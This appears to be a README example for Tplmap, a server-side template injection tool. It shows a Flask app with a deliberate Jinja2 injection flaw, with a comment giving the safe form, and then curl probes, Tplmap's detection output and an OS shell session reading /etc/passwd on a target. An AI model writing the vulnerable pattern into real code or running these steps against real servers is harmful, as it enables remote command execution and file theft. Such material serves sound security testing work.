from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

@app.route("/page")
def page():

    name = request.values.get('name')
    
    # SSTI VULNERABILITY
    # The vulnerability is introduced concatenating the
    # user-provided `name` variable to the template string.
    output = Jinja2.from_string('Hello ' + name + '!').render()
    
    # Instead, the variable should be passed to the template context.
    # Jinja2.from_string('Hello {{name}}!').render(name = name)

    return output

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!

$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

    --os-shell                Run shell on the target
    --os-cmd                  Execute shell commands
    --bind-shell PORT         Connect to a shell bind to a target port
    --reverse-shell HOST PORT Send a shell back to the attacker's port
    --upload LOCAL REMOTE     Upload files to the server
    --download REMOTE LOCAL   Download remote files

$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Run commands on the operating system.

linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh